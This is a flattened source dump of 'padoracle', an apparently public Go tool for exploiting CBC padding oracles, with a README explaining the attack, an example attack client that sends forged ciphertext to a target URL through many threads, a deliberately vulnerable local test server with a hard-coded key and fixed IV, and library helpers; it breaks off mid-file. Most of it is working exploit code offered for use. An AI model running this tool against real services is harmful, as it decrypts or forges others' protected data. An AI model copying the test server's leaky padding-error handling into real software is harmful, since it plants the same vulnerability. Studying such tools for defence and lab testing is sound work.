├── .DS_Store ├── README.md ├── examples ├── dotnet.go └── vuln_http_server.go ├── go.mod ├── go.sum ├── libpadoracle ├── .DS_Store ├── go.mod ├── go.sum ├── helpers.go ├── padmath.go └── worker.go ├── padoracle.go ├── sample.png └── sample_finished.png /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swarley7/padoracle/18d33fae5ac0659fee50b40dcc2e293b176e3b9b/.DS_Store -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # padoracle 2 | An extensible framework for exploiting padding oracles in network-based applications. 3 | 4 | ## Background 5 | A padding oracle occurs in a cryptosystem where something (the oracle) reveals information about the legiticamy of padded ciphertext. In cipher block chaining (CBC) mode, the IV is typically the first block of the ciphertext (or might be kept secret for "reasons"). The ciphertext of the preceeding block forms the IV of the current block. 6 | 7 | Since block ciphers require equal length ciphertext blocks, the final block of plaintext must be padded out to meet the required blocksize. Typical padding modes include PKCS5 and PKCS7 - both of which are pretty much identical, except PKCS5 is used for 8 byte blocks, whereas PKCS7 can be used for `n < 256` byte block sizes. Both modes basically use the last byte of cleartext to denote how many bytes of padding are included within the block. 8 | 9 | For example, given the cleartext `AAAA\x04\x04\x04\x04`, the last byte (`\x04`) tells the decryption routine that there are 4 bytes of padding which will need to be removed to return the original message. This operation, in conjunction with the fact that the previous block's ciphertext forms the IV for the current block is what the padding oracle attack exploits. 10 | 11 | ## Yes, but there's other padding oracle exploitation tools? 12 | 13 | Sure there are. In fact, I've used some of them before! 14 | 15 | - `padbuster`: works ok, but it's fairly old and dated, and written in Perl (which is a Write-Only language) 16 | - `padding-oracle-attack` ([https://github.com/mpgn/Padding-oracle-attack](https://github.com/mpgn/Padding-oracle-attack): very good python-based solution. Easy to modify to suit specific pad-oracle requirements. A bit inflexible in how it approaches the problem, and (most importantly), it's very slow. 17 | 18 | `padoracle` is *fast*. On my test system it decrypted 16 blocks of 16 byte ciphertext in under 1.5 mins (using 100 threads). The reason for this speed increase, is that each block is decrypted independently of the others, in parallel. There is nothing in the attack that requires each block to be decrypted sequentially. 19 | 20 | Also, I learn/understand things better by doing it so this was a good way to learn the math and maybe apply some lateral thinking to the exploitation process. 21 | 22 | ## Usage 23 | `padoracle` is super extensible and can be made to suit any requirements. However, it does require some modifications in order to make it work. 24 | 25 | First thing's first; clone the repo. 26 | 27 | `git clone https://github.com/swarley7/padoracle.git && cd padoracle` 28 | 29 | Next, install the dependencies (hopefully there's no errors): 30 | 31 | `go build` 32 | 33 | Next comes the hard part (it's not that hard really). Open `./libpadoracle/modifyme.go` in your favourite editor and get modifying! 34 | 35 | 36 | 37 | ## Examples 38 | 39 | !["Busting pad oracles"](./sample.png) 40 | !["Finished"](./sample_finished.png) 41 | 42 | ## Credits 43 | 44 | ## Donate? 45 | -------------------------------------------------------------------------------- /examples/dotnet.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/base64" 5 | "flag" 6 | "fmt" 7 | "net/http" 8 | _ "net/http/pprof" 9 | "net/url" 10 | "strconv" 11 | 12 | "io/ioutil" 13 | "strings" 14 | 15 | "log" 16 | 17 | "github.com/swarley7/padoracle/libpadoracle" 18 | ) 19 | 20 | type testpad struct { 21 | Data string 22 | URL string 23 | Method string 24 | Cookies string 25 | Client *http.Client 26 | } 27 | 28 | // EncodePayload turns the raw oracle payload (IV + Ciphertext) into whatever format is required by the endpoint server. Modify this routine to suit the specific needs of the application. 29 | func (t testpad) EncodePayload(RawPadOraclePayload []byte) (encodedPayload string) { 30 | encodedPayload = base64.StdEncoding.EncodeToString(RawPadOraclePayload) 31 | encodedPayload = strings.ReplaceAll(encodedPayload, "+", "-") 32 | encodedPayload = strings.ReplaceAll(encodedPayload, "/", "_") 33 | fmt.Sprintf("%s%d", strings.ReplaceAll(encodedPayload, "=", ""), strings.Count(encodedPayload, "=")) 34 | return encodedPayload 35 | } 36 | 37 | // DecodePayload is used to decode the initial CipherText payload provided as a CommandLine Argument 38 | func (t testpad) DecodeCiphertextPayload(EncodedPayload string) []byte { 39 | var decoded []byte 40 | 41 | //****** EDIT this function to suit your particular ciphertext's encoding. ********// 42 | // This function should return a byte array of the ciphertext's raw bytes // 43 | EncodedPayload = strings.ReplaceAll(EncodedPayload, "-", "+") 44 | EncodedPayload = strings.ReplaceAll(EncodedPayload, "_", "/") 45 | count := string(EncodedPayload[len(EncodedPayload)-1]) 46 | EncodedPayload = EncodedPayload[:len(EncodedPayload)-1] 47 | padz, err := strconv.Atoi(count) 48 | if err == nil { 49 | // last digit requires padding 50 | for i := 0; i < padz; i++ { 51 | EncodedPayload += "=" 52 | } 53 | } 54 | decoded, err = base64.StdEncoding.DecodeString(EncodedPayload) 55 | fmt.Println(err, EncodedPayload) 56 | 57 | if err != nil { 58 | fmt.Println(err, EncodedPayload) 59 | } 60 | libpadoracle.Check(err) 61 | return decoded 62 | } 63 | 64 | // DecodeIV decodes the optionally-supplied Block0 initialisation vector. Modify the decode routine to suit the format of the supplied IV 65 | func (t testpad) DecodeIV(IV string) []byte { 66 | return t.DecodeCiphertextPayload(IV) 67 | } 68 | 69 | // Modify this struct to suit whatever data you want to be available to the CheckResponse function. 70 | // The sample includes the HTTP response code and HTTP response body (as a string). Again, this is a sample, modify to suit! 71 | type Resp struct { 72 | ResponseCode int 73 | BodyData string 74 | } 75 | 76 | // CallOracle actually makes the HTTP/whatever request to the server that provides the padding oracle and returns bool: true = padding was CORRECT/VALID; false = padding was INCORRECT/INVALID. Modify this to suit your application's needs. 77 | func (t testpad) CallOracle(encodedPayload string) bool { 78 | if !strings.Contains(t.URL, "") && !strings.Contains(t.Data, "") && !strings.Contains(t.Cookies, "") { 79 | panic("No marker supplied in URL or data") 80 | } 81 | 82 | req, err := http.NewRequest(t.Method, strings.Replace(t.URL, "", encodedPayload, -1), strings.NewReader(strings.Replace(t.Data, "", encodedPayload, -1))) 83 | libpadoracle.Check(err) 84 | 85 | // Set cookie 86 | req.Header.Set("Cookie", strings.Replace(t.Cookies, "", encodedPayload, -1)) 87 | resp, err := t.Client.Do(req) 88 | libpadoracle.Check(err) 89 | defer resp.Body.Close() // Return the response data back to the caller 90 | 91 | bodyBytes, err := ioutil.ReadAll(resp.Body) 92 | libpadoracle.Check(err) 93 | return t.CheckResponse(Resp{ResponseCode: resp.StatusCode, BodyData: string(bodyBytes)}) 94 | } 95 | 96 | // CheckResponse tells the program whether the padding was invalid or not. Modify to suit the application's response when invalid padding is detected. 97 | func (t testpad) CheckResponse(resp Resp) bool { 98 | // Sample - the server's response includes the string "not padded correctly" 99 | // matched, _ := regexp.MatchString(`not padded correctly`, resp.BodyData) 100 | // fmt.Println(matched, err) 101 | if resp.ResponseCode == 500 { 102 | return false 103 | } 104 | return true 105 | } 106 | 107 | func main() { 108 | var cfg libpadoracle.Config 109 | var cipherText string 110 | var plainText string 111 | var iv string 112 | var Url string 113 | var method string 114 | var data string 115 | var proxyUrl string 116 | var cookies string 117 | 118 | flag.StringVar(&cipherText, "c", "", "Provide the base ciphertext that you're trying to decipher (ripped straight from your request)") 119 | flag.StringVar(&plainText, "p", "", "Provide the plaintext that you're trying to encrypt through exploitation of the padding oracle (for use with mode = 1)") 120 | flag.StringVar(&iv, "iv", "", "Optional: provide the IV for Block 0 of your ciphertext (if the application has done Crypto bad, and treated the IV as secret)") 121 | flag.StringVar(&cookies, "C", "", "Copy paste the cookies from your request in burp or whatever. E.g. \"cookie1=askldjf; cookie2=aaaaaaaaa; test=adfsdsfdf;\" Use the marker '' to identify the injection point (note: will check GET and POST data)") 122 | flag.IntVar(&cfg.BlockSize, "bs", 16, "Block size for the ciphertext. Common values are 8 (DES), 16 (AES)") 123 | flag.IntVar(&cfg.Threads, "T", 100, "Number of threads to use for testing") 124 | flag.IntVar(&cfg.Sleep, "S", 0, "Sleep x miliseconds between requests to be nice to the server") 125 | flag.StringVar(&cfg.BlockRange, "blocks", "1,-1", "Optional: provide a range of blocks that are to be decrypted (useful for testing purposes). Note that the first value should always be '>=1'") 126 | flag.StringVar(&proxyUrl, "proxy", "", "Proxy to use for requests (if required)") 127 | 128 | flag.StringVar(&Url, "u", "", "The target URL. Use the marker '' to identify the injection point (note: will check GET and POST data)") 129 | flag.StringVar(&method, "method", "GET", "HTTP method to use (default GET)") 130 | flag.StringVar(&data, "data", "", "Optional: POST data to supply with request") 131 | flag.IntVar(&cfg.Mode, "m", 0, "0 = Decrypt; 1 = Encrypt. Note: Encryption through a padding oracle cannot be concurrently performed (as far as I can determine). A single thread is used in this mode.") 132 | flag.BoolVar(&cfg.Debug, "d", false, "Debug mode") 133 | 134 | flag.Parse() 135 | if Url == "" { 136 | log.Fatal("No URL supplied.") 137 | } 138 | if cfg.Debug { 139 | go func() { 140 | fmt.Println("Profiler running on: localhost:6060") 141 | http.ListenAndServe("localhost:6060", nil) 142 | }() 143 | } 144 | client := &http.Client{} 145 | 146 | if proxyUrl != "" { 147 | pURL, err := url.Parse(proxyUrl) 148 | if err != nil { 149 | log.Fatal("Busted ProxyURL...", proxyUrl) 150 | } 151 | client.Transport = &http.Transport{Proxy: http.ProxyURL(pURL)} 152 | } 153 | cfg.Pad = testpad{URL: Url, Method: method, Data: data, Client: client} 154 | cfg.TargetPlaintext = []byte(plainText) 155 | cfg.BaseCiphertext = cfg.Pad.DecodeCiphertextPayload(cipherText) 156 | if iv != "" { 157 | cfg.IV = cfg.Pad.DecodeIV(iv) 158 | } 159 | libpadoracle.Run(cfg) 160 | 161 | } 162 | -------------------------------------------------------------------------------- /examples/vuln_http_server.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "crypto/aes" 6 | "crypto/rand" 7 | "encoding/hex" 8 | "errors" 9 | "flag" 10 | "fmt" 11 | "net/http" 12 | ) 13 | 14 | var cryptoKey []byte 15 | var IV []byte 16 | var BS int 17 | var host string 18 | var port int 19 | 20 | // func PKCS7(arr []byte, blocksize int) []byte { 21 | // rem := blocksize - (len(arr) % blocksize) 22 | // if rem == 0 { 23 | // return arr 24 | // } 25 | // pad := make([]byte, rem) 26 | // for i := range pad { 27 | // pad[i] = byte(rem) 28 | // } 29 | // return append(arr, pad...) 30 | // } 31 | 32 | // // Unpads correctly padded PKCS7 data 33 | // func UnPKCS7(arr []byte, blocksize int) ([]byte, error) { 34 | // if len(arr)%blocksize != 0 { 35 | // return nil, errors.New("Invalid data length") 36 | // } 37 | // padCount := int(arr[len(arr)-1]) 38 | // if padCount > blocksize { 39 | // return nil, errors.New("not padded correctly") 40 | // } 41 | // for i := len(arr) - 1; i > len(arr)-1-padCount; i-- { 42 | // if arr[i] != arr[len(arr)-1] { 43 | // return nil, errors.New("not padded correctly") 44 | // } 45 | // } 46 | // return arr[:len(arr)-padCount], nil 47 | // } 48 | 49 | // pkcs7strip remove pkcs7 padding 50 | func UnPKCS7(data []byte, blockSize int) ([]byte, error) { 51 | length := len(data) 52 | if length == 0 { 53 | return nil, errors.New("pkcs7: Data is empty") 54 | } 55 | if length%blockSize != 0 { 56 | return nil, errors.New("pkcs7: Data is not block-aligned") 57 | } 58 | padLen := int(data[length-1]) 59 | ref := bytes.Repeat([]byte{byte(padLen)}, padLen) 60 | if padLen > blockSize || padLen == 0 || !bytes.HasSuffix(data, ref) { 61 | return nil, errors.New("pkcs7: Invalid padding") 62 | } 63 | return data[:length-padLen], nil 64 | } 65 | 66 | // pkcs7pad add pkcs7 padding 67 | func PKCS7(data []byte, blockSize int) ([]byte, error) { 68 | if blockSize < 0 || blockSize > 256 { 69 | return nil, fmt.Errorf("pkcs7: Invalid block size %d", blockSize) 70 | } else { 71 | padLen := 16 - len(data)%blockSize 72 | padding := bytes.Repeat([]byte{byte(padLen)}, padLen) 73 | return append(data, padding...), nil 74 | } 75 | } 76 | 77 | func check(err error) { 78 | if err != nil { 79 | panic(err) 80 | } 81 | } 82 | func XORbytes(in []byte, key []byte) (out []byte) { 83 | if len(in) != len(key) { 84 | fmt.Println("A: ", len(in), "; B: ", len(key)) 85 | panic("fuck") 86 | } 87 | for i := 0; i < len(in); i++ { 88 | out = append(out, in[i]^key[i]) 89 | } 90 | return out 91 | } 92 | 93 | func EncryptAesCbc(data, key, iv []byte, blocksize int) []byte { 94 | cipher, _ := aes.NewCipher([]byte(key)) 95 | encrypted := make([]byte, len(data)) 96 | size := blocksize 97 | 98 | for bs, be := 0, size; bs < len(data); bs, be = bs+size, be+size { 99 | if bs == 0 { // Special case for first block - XOR plaintext against IV 100 | cipher.Encrypt(encrypted[bs:be], XORbytes(data[bs:be], iv)) // Encrypt 101 | continue 102 | } 103 | cipher.Encrypt(encrypted[bs:be], XORbytes(data[bs:be], encrypted[bs-size:be-size])) // Encrypt 104 | } 105 | return append(iv, encrypted...) 106 | } 107 | 108 | func DecryptAesCbc(data, key, iv []byte, blocksize int) []byte { 109 | cipher, _ := aes.NewCipher([]byte(key)) 110 | decrypted := []byte{} 111 | ciphertextIv := append(iv, data...) 112 | 113 | size := blocksize 114 | for bs, be := size, size+size; bs < len(ciphertextIv); bs, be = bs+size, be+size { 115 | tmp := make([]byte, size) 116 | cipher.Decrypt(tmp, ciphertextIv[bs:be]) // Decrypt 117 | decrypted = append(decrypted, XORbytes(tmp, ciphertextIv[bs-size:be-size])...) // Plaintext XOR Iv after decrypting 118 | } 119 | return decrypted 120 | } 121 | 122 | func GenerateRandomBytes(size int) (out []byte) { 123 | out = make([]byte, size) 124 | _, err := rand.Read(out) 125 | check(err) 126 | return out 127 | } 128 | 129 | func main() { 130 | 131 | var stringKey string 132 | var iv string 133 | var bs int 134 | 135 | flag.IntVar(&port, "p", 8000, "Port to bind the service to.") 136 | flag.StringVar(&host, "l", "127.0.0.1", "Host address to bind the service to.") 137 | flag.StringVar(&iv, "i", "", "Optional IV (blocksize length bytes in ASCII-Hex notation)") 138 | flag.StringVar(&stringKey, "k", "YELLOW SUBMARINE", "Key value for encryption / decryption") 139 | flag.IntVar(&bs, "bs", 16, "Blocksize for the encryption / decryption. Common values are 8 or 16 (default).") 140 | flag.Parse() 141 | 142 | BS = bs 143 | cryptoKey = []byte(stringKey) 144 | IV = []byte{1, 2, 3, 4, 5, 6, 7, 8, 1, 2, 3, 4, 5, 6, 7, 8} 145 | http.HandleFunc("/", VulnServer) 146 | http.ListenAndServe(fmt.Sprintf("%s:%d", host, port), nil) 147 | } 148 | 149 | func VulnServer(w http.ResponseWriter, r *http.Request) { 150 | ciphertext, ok := r.URL.Query()["vuln"] 151 | if !ok { 152 | data, err := PKCS7([]byte("This is a test for validating a padding oracle, see what you think?"), BS) 153 | if err != nil { 154 | return 155 | } 156 | cipherTextBytes := EncryptAesCbc(data, cryptoKey, IV, BS) 157 | // cipherTextBytes = append(IV, cipherTextBytes...) 158 | fmt.Fprintf(w, "Ciphertext: %s\nUsage:\n\n\nhttp://%s:%d/?vuln=%s", hex.EncodeToString(cipherTextBytes), host, port, hex.EncodeToString(cipherTextBytes)) 159 | return 160 | } 161 | ct, err := hex.DecodeString(ciphertext[0]) 162 | if err != nil { 163 | fmt.Println(r.URL.RequestURI()) 164 | 165 | w.WriteHeader(500) 166 | fmt.Fprintf(w, "The vuln paramter value was incorrectly formatted and not valid ASCII-Hex\nPlease check\n\n(Note: this is not a marker for a valid padding oracle vulnerability; your input is well fucked).") 167 | return 168 | } 169 | pt, err := UnPKCS7(DecryptAesCbc(ct, cryptoKey, []byte{}, BS), BS) 170 | if err != nil { 171 | w.WriteHeader(500) 172 | // fmt.Println(r.URL.RequestURI()) 173 | fmt.Fprintf(w, "%s", err) 174 | return 175 | } 176 | fmt.Fprintf(w, "The decrypted plaintext is:\n\n%s", pt) 177 | fmt.Printf("The decrypted plaintext is:\n\n%s", pt) 178 | return 179 | } 180 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/swarley7/padoracle 2 | 3 | go 1.17 4 | 5 | require ( 6 | github.com/fatih/color v1.13.0 7 | github.com/gosuri/uiprogress v0.0.1 8 | ) 9 | 10 | require ( 11 | github.com/gosuri/uilive v0.0.4 // indirect 12 | github.com/mattn/go-colorable v0.1.9 // indirect 13 | github.com/mattn/go-isatty v0.0.14 // indirect 14 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c // indirect 15 | ) 16 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= 2 | github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= 3 | github.com/gosuri/uilive v0.0.4 h1:hUEBpQDj8D8jXgtCdBu7sWsy5sbW/5GhuO8KBwJ2jyY= 4 | github.com/gosuri/uilive v0.0.4/go.mod h1:V/epo5LjjlDE5RJUcqx8dbw+zc93y5Ya3yg8tfZ74VI= 5 | github.com/gosuri/uiprogress v0.0.1 h1:0kpv/XY/qTmFWl/SkaJykZXrBBzwwadmW8fRb7RJSxw= 6 | github.com/gosuri/uiprogress v0.0.1/go.mod h1:C1RTYn4Sc7iEyf6j8ft5dyoZ4212h8G1ol9QQluh5+0= 7 | github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U= 8 | github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= 9 | github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= 10 | github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= 11 | github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= 12 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 13 | golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 14 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c h1:F1jZWGFhYfh0Ci55sIpILtKKK8p3i2/krTr0H1rg74I= 15 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 16 | -------------------------------------------------------------------------------- /libpadoracle/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swarley7/padoracle/18d33fae5ac0659fee50b40dcc2e293b176e3b9b/libpadoracle/.DS_Store -------------------------------------------------------------------------------- /libpadoracle/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/swarley7/padoracle/libpadoracle 2 | 3 | go 1.17 4 | 5 | require ( 6 | github.com/fatih/color v1.13.0 7 | github.com/gosuri/uiprogress v0.0.1 8 | ) 9 | 10 | require ( 11 | github.com/gosuri/uilive v0.0.4 // indirect 12 | github.com/mattn/go-colorable v0.1.9 // indirect 13 | github.com/mattn/go-isatty v0.0.14 // indirect 14 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c // indirect 15 | ) 16 | -------------------------------------------------------------------------------- /libpadoracle/go.sum: -------------------------------------------------------------------------------- 1 | github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= 2 | github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= 3 | github.com/gosuri/uilive v0.0.4 h1:hUEBpQDj8D8jXgtCdBu7sWsy5sbW/5GhuO8KBwJ2jyY= 4 | github.com/gosuri/uilive v0.0.4/go.mod h1:V/epo5LjjlDE5RJUcqx8dbw+zc93y5Ya3yg8tfZ74VI= 5 | github.com/gosuri/uiprogress v0.0.1 h1:0kpv/XY/qTmFWl/SkaJykZXrBBzwwadmW8fRb7RJSxw= 6 | github.com/gosuri/uiprogress v0.0.1/go.mod h1:C1RTYn4Sc7iEyf6j8ft5dyoZ4212h8G1ol9QQluh5+0= 7 | github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U= 8 | github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= 9 | github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= 10 | github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= 11 | github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= 12 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 13 | golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 14 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c h1:F1jZWGFhYfh0Ci55sIpILtKKK8p3i2/krTr0H1rg74I= 15 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 16 | -------------------------------------------------------------------------------- /libpadoracle/helpers.go: -------------------------------------------------------------------------------- 1 | package libpadoracle 2 | 3 | import ( 4 | "bytes" 5 | "errors" 6 | "fmt" 7 | 8 | "github.com/fatih/color" 9 | ) 10 | 11 | const ( 12 | MODE_DECRYPT = 0 13 | MODE_ENCRYPT = 1 14 | ) 15 | 16 | // The Pad interface 17 | type pad interface { 18 | EncodePayload([]byte) string 19 | DecodeCiphertextPayload(string) []byte 20 | DecodeIV(string) []byte 21 | CallOracle(string) bool 22 | // CheckResponse(interface{}) bool 23 | } 24 | 25 | // Get yo colours sorted 26 | var g = color.New(color.FgGreen) 27 | 28 | var gb = color.New(color.FgGreen, color.Bold) 29 | var y = color.New(color.FgYellow, color.Bold) 30 | var r = color.New(color.FgRed, color.Bold) 31 | var m = color.New(color.FgMagenta, color.Bold) 32 | var b = color.New(color.FgBlue) 33 | var bb = color.New(color.FgBlue, color.Bold) 34 | 35 | func Reverse(s string) string { 36 | var reverse string 37 | for i := len(s) - 1; i >= 0; i-- { 38 | reverse += string(s[i]) 39 | } 40 | return reverse 41 | } 42 | 43 | func Check(err error) { 44 | if err != nil { 45 | panic(err) 46 | } 47 | } 48 | 49 | // pkcs7pad add pkcs7 padding 50 | func PKCS7(data []byte, blockSize int) ([]byte, error) { 51 | if blockSize < 0 || blockSize > 256 { 52 | return nil, fmt.Errorf("pkcs7: Invalid block size %d", blockSize) 53 | } else { 54 | padLen := 16 - len(data)%blockSize 55 | padding := bytes.Repeat([]byte{byte(padLen)}, padLen) 56 | return append(data, padding...), nil 57 | } 58 | } 59 | 60 | type WriteData struct { 61 | ByteNum int 62 | Deciphered string 63 | ByteValue string 64 | BlockData string 65 | BlockNum int 66 | NumBlocks int 67 | } 68 | 69 | type Config struct { 70 | Mode int 71 | Debug bool 72 | IV []byte 73 | BaseCiphertext []byte 74 | TargetPlaintext []byte 75 | AsciiMode bool 76 | BlockSize int 77 | Algorithm string 78 | Threads int 79 | NumBlocks int 80 | Sleep int 81 | BlockRange string 82 | Writer chan WriteData 83 | MetricsChan chan int 84 | Statistics Stats 85 | Pad pad 86 | } 87 | 88 | type Stats struct { 89 | NumRequests int 90 | } 91 | 92 | type Data struct { 93 | BlockNumber int 94 | EncryptedBlockData []byte 95 | DecipheredBlockData []byte 96 | NumberOperations int 97 | UnpaddedCleartext string 98 | } 99 | 100 | func Unpad(b []byte) (o []byte) { 101 | padVal := int(b[len(b)-1]) 102 | for i := 0; i < len(b)-padVal; i++ { 103 | o = append(o, b[i]) 104 | } 105 | return o 106 | } 107 | 108 | func Pad(b []byte, padVal int) (o []byte) { 109 | b = append(o, b...) 110 | for i := len(b); i < padVal; i++ { 111 | o = append(o, byte(i)) 112 | } 113 | return o 114 | } 115 | 116 | // ChunkBytes chunks i into n-length chunks 117 | func ChunkBytes(b []byte, n int) (chunks [][]byte) { 118 | for i := 0; i < len(b); i += n { 119 | nn := i + n 120 | if nn > len(b) { 121 | nn = len(b) 122 | } 123 | chunks = append(chunks, b[i:nn]) 124 | } 125 | return chunks 126 | } 127 | 128 | // ChunkStr chunks i into n-length chunks 129 | func ChunkStr(s string, n int) (chunks []string) { 130 | runes := []rune(s) 131 | if len(runes) == 0 { 132 | return []string{s} 133 | } 134 | for i := 0; i < len(runes); i += n { 135 | nn := i + n 136 | if nn > len(runes) { 137 | nn = len(runes) 138 | } 139 | chunks = append(chunks, string(runes[i:nn])) 140 | } 141 | return chunks 142 | } 143 | 144 | // XORBytes performs a byte-wise xor of two supplied bytearrays 145 | func XORBytes(a []byte, b []byte) []byte { 146 | if len(a) != len(b) { 147 | err := errors.New(fmt.Sprintf("Cannot XOR unequal length byte arrays (a=%d - b=%d)", len(a), len(b))) 148 | panic(err) 149 | } 150 | var xorResult []byte 151 | for i := 0; i < len(a); i++ { 152 | xorByte := a[i] ^ b[i] 153 | xorResult = append(xorResult, xorByte) 154 | } 155 | return xorResult 156 | } 157 | 158 | // BuildPaddingBlock constructs a block padded to PCKS5/7 standard based upon the blocksize 159 | func BuildPaddingBlock(byteNum int, blockSize int) (padding []byte) { 160 | for i := 1; i <= blockSize; i++ { 161 | if (i >= blockSize-byteNum) && (byteNum <= blockSize) { 162 | padding = append(padding, byte(byteNum+1)) 163 | } else { 164 | padding = append(padding, byte(0)) 165 | } 166 | } 167 | return padding 168 | } 169 | 170 | type Out struct { 171 | Ok bool 172 | D []byte 173 | } 174 | 175 | // BuildSearchBlock constructs a block of forged ciphertext that will be used to test the padding oracle 176 | func BuildSearchBlock(decipheredBlockBytes []byte, padByteValue byte, blockSize int) (searchBlock []byte) { 177 | searchBlock = append([]byte{byte(padByteValue)}, decipheredBlockBytes...) 178 | maxLen := len(searchBlock) 179 | for i := 0; i < blockSize-maxLen; i++ { 180 | searchBlock = append([]byte{byte(0)}, searchBlock...) 181 | } 182 | return searchBlock 183 | } 184 | 185 | // BuildRawOraclePayload 186 | func BuildRawOraclePayload(paddingBlock []byte, cipherTextBlock []byte) []byte { 187 | return append(paddingBlock, cipherTextBlock...) 188 | } 189 | 190 | func GenerateFullSlice(data byte, size int) []byte { 191 | out := make([]byte, size) 192 | for i := 0; i < size; i++ { 193 | out[i] = data 194 | } 195 | return out 196 | } 197 | -------------------------------------------------------------------------------- /libpadoracle/padmath.go: -------------------------------------------------------------------------------- 1 | package libpadoracle 2 | 3 | import ( 4 | "bytes" 5 | "encoding/hex" 6 | "fmt" 7 | "log" 8 | "sync" 9 | 10 | "unicode" 11 | 12 | "github.com/gosuri/uiprogress" 13 | ) 14 | 15 | func GetRangeDataSafe(pre []byte) []byte { 16 | rangeData := []byte{} 17 | rangeData = append(rangeData, pre...) 18 | for _, v := range []byte("abcdefghijklmnopqrstuvwxyzABCDEFGHJIKLMNOPQRSTUVWXYZ1234567890") { 19 | if bytes.Contains(rangeData, []byte{v}) { 20 | continue 21 | } 22 | rangeData = append(rangeData, v) 23 | } 24 | for i := byte(2); i <= 253; i++ { 25 | if bytes.Contains(rangeData, []byte{i}) { 26 | continue 27 | } 28 | rangeData = append(rangeData, i) 29 | } 30 | // Deprioritise possible FPs 31 | rangeData = append(rangeData, []byte{0xff, 0xfe, 0x01, 0x00}...) 32 | // rand.Seed(time.Now().UnixNano()) 33 | // rand.Shuffle(len(rangeData), func(i, j int) { rangeData[i], rangeData[j] = rangeData[j], rangeData[i] }) 34 | return rangeData 35 | } 36 | 37 | // PerByteOperations performs the actual math on each byte of the CipherText 38 | func PadOperations(wg *sync.WaitGroup, cfg *Config, cipherText []byte, decipherChan chan Data) { 39 | defer func() { 40 | close(decipherChan) 41 | wg.Done() 42 | }() 43 | 44 | threadCh := make(chan struct{}, cfg.Threads) 45 | wg2 := sync.WaitGroup{} 46 | if cfg.IV != nil { // IV was supplied by the user - let's prepend to the Decoded Ciphertext 47 | cipherText = append(cfg.IV, cipherText...) 48 | } 49 | Blocks := ChunkBytes(cipherText, cfg.BlockSize) 50 | cfg.NumBlocks = len(Blocks) 51 | wg.Add(1) 52 | go WriteOutput(wg, decipherChan, cfg) 53 | 54 | // fmt.Println(Blocks) 55 | if lastBlockLen := len(Blocks[len(Blocks)-1]); lastBlockLen != cfg.BlockSize { 56 | err := fmt.Errorf("Invalid Block Size at Block #%d (%v bytes - should be %d)", len(Blocks), lastBlockLen, cfg.BlockSize) 57 | panic(err) 58 | } 59 | endBlock := len(Blocks) 60 | fmt.Printf("Total Blocks: [%v]\n", len(Blocks)) 61 | startBlock := 1 62 | for blockNum, blockData := range Blocks[startBlock:endBlock] { 63 | wg2.Add(1) 64 | go PerBlockOperations(&wg2, *cfg, threadCh, decipherChan, blockNum+startBlock, blockData, Blocks[blockNum+startBlock-1]) 65 | } 66 | 67 | wg2.Wait() 68 | } 69 | 70 | // PerBlockOperations performs the actual math on each byte of the CipherText 71 | func PerBlockOperations(wg *sync.WaitGroup, cfg Config, threadCh chan struct{}, decipherChan chan Data, blockNum int, blockData []byte, iv []byte) { 72 | // TODO stuff here 73 | defer func() { 74 | wg.Done() 75 | }() 76 | var strData string 77 | var outData string 78 | bar := 